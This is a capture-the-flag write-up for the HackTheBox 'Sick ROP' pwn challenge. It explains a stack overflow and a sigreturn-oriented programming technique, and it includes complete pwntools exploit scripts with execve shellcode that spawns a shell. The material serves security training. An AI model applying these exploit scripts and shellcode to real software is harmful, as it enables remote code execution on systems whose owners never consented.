Sick ROP
Sick ROP
Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
(No description in source writeup.)
Solution Approach
Core idea: Stack-Based Exploitation (statically linked and small binary). Implement SigReturn Oriented Programming (SROP).
Steps
- In this challenge we're given a 64 bit binary, statically linked, and not stripped.
BINARY PROTECTIONS
-
Since the binary is statically linked and after decompiled the binary, the pwn concept should be
ret2syscallorSigreturn ROP. -
There's no main function, but we can still identify the first function called with -->
_start. -
So it's calling vuln() function (infinite loop).
-
Checking the vuln() function, we have read and write syscall.
-
Next, I checked the available gadgets we have, turns out we don't have
mov rax, 0xforpop rax, and even nopop rdi. -
Now, it's very clear that the pwn concept is SROP. The SROP method we need to use is using the sys_mprotect().
-
Why sys_mprotect()?? Because it makes a memory segment with a fixed address for write & execute.
FLOW
The strat (in short)
1. Set the register value to call sys_mprotect().
2. Trigger the sys_rt_sigreturn. (at this point we should have a stack which is executeable).
3. Since we have an executeable stack, now inject our shellcode.
4. Control the RIP to the shellcode so we got RCE.
- Now let us get the RIP offset, we can't see the buffer by looking at the decompiler.
- But we can see it at the assembly code.
We have 0x20 as our buffer and we can input up to 0x300 (certainly, there's a BOF).
- Next, let us find a writeable memory segment.
using vmmap | writeable --> 0x400000
THINGS TO NOTE:
frame.rsp -> is used to returning to a "SAFE" place (prevent crashing) after all the processes is finished.
Because we're changing the stack frame, we can't just use vuln_function for frame.rsp.
Hence we need to use the pointer address to the vuln_function.
GRABBING THE POINTER ADDRESS TO VULN FUNCTION (using peda, dunno how if using pwndbg). | ans --> 0x4010d8
- Here's our script so far:
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
exe = './sick_rop'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'
sh = start()
rop = ROP(elf)
syscall = rop.find_gadget(['syscall', 'ret'])[0]
info(f'SYSCALL GADGET --> {hex(syscall)}')
vuln_pointer = 0x4010d8
writeable_area = 0x400000
frame = SigreturnFrame()
frame.rax = 0xa #10 --> mprotect
frame.rdi = writeable_area
frame.rsi = 0x400000 # set size
frame.rdx = 0x7 #7 --> initialize rwx access to what's rdi pointing to
### because we're changing the stack frame
### keep in mind --> calling the vuln function directly, won't get us to that function
frame.rsp = vuln_pointer
frame.rip = syscall
- Now, to craft our first payload. The formula is:
padding + vuln_function + syscall_ret + fake_stack_frame
We need the padding to overflow until RIP, then we call vuln_function so we get the read function.
Next we call the syscall_ret to execute the read and then we send in our fake_stack_frame as bytes obviously.
- Next, we need to trigger the sys_rt_sigreturn. To trigger it the RAX must be set to 15.
- Since there's no pop or mov gadget, we need to be more creative.
- After I pause the process with GDB and checked the value in RAX, noticed that "NUMBER" of bytes we send at the input_stream is stored at RAX.
I sent 48 pad and it stores 49, it concludes the newline is counted.
- So if you want to use .sendline(), then send it 14 junk. If .send() send it exact 14.
- Finally! The last part is to find where will our shellcode stored so we can access it to gain RCE.
- But here's the small knowledge about sending payload in SROP. The best practice is to receive bytes everytime we sent payloads.
Why need to do .recv() after we sent payloads in SROP??
-> To prevent the data we sent mixed up with the data sent by the remote server.
-
Not a fond about SROP anyway, but from what I've learned, sometimes I failed to get RCE because data sent by the remote server is mixed up with our second payload (if there is).
-
BUT SPOILER, I got RCE by only used .recv() for the first payload.
-
So here's the fixed script.
-
Anyway since we already set RAX to 15 (by send 14 pad junk data + newline). We can check the procmap at GDB.
-
Nice! Again, now we need to identify the location for our shellcode.
-
So when we returned to that location, we got RCEEEE.
-
To identify it simply send a junk and hopefully we can see our buffer at GDB.
SENDING JUNK
-
Interesting our junk filled RSI and R10 at address --> 0x4010b8
-
We can set our return address to that.
-
For the shellcode, I used this --> https://www.exploit-db.com/exploits/47008
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05
- Anyway, since the shellcode length is 22, hence we need to add 18 padding to reach RIP.
- Here's our final script:
SCRIPT
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
exe = './sick_rop'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'
sh = start()
### pause()
rop = ROP(elf)
syscall = rop.find_gadget(['syscall', 'ret'])[0]
info(f'SYSCALL GADGET --> {hex(syscall)}')
vuln_pointer = 0x4010d8
writeable_area = 0x400000
frame = SigreturnFrame() # adding kernel="amd64" as arg is optional
frame.rax = 0xa #10 --> mprotect
frame.rdi = writeable_area
frame.rsi = 0x400000 # set size
frame.rdx = 0x7 #7 --> initialize rwx access to what's rdi pointing to
### because we're changing the stack frame
### keep in mind --> calling the vuln function directly, won't get us to that function
frame.rsp = vuln_pointer
frame.rip = syscall
### 1st payload
p = flat([
asm('nop') * 40,
elf.sym['vuln'],
syscall,
bytes(frame)
])
sh.sendline(p)
get = sh.recv()
print('recv 1 -->', get)
### ## 2nd payload, triggering the sigreturn signal to activate the 1st payload | sys_rt_sigreturn
### junk = b'A' * 15 # if using .send()
### sh.send(junk)
### 0xf --> 15
junk = b'A' * 14
sh.sendline(junk)
### get = sh.recv()
### print('recv 2 -->', get)
### ## 3rd payload, RCE moment
shellcode = (b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05')
### print(len(shellcode)) # --> 22
padding = asm('nop') * 18
shell = shellcode + padding + pack(0x4010b8)
sh.send(shell)
### get = sh.recv()
### print('recv 3 -->', get)
sh.interactive()
RESULT LOCAL
- Got RCEEEE, let us send it remotely.
RESULT REMOTE
- Got the flag!
Flag
REDACTED
Lessons Learned
- Stack-Based Exploitation (statically linked and small binary).
- Implement SigReturn Oriented Programming (SROP).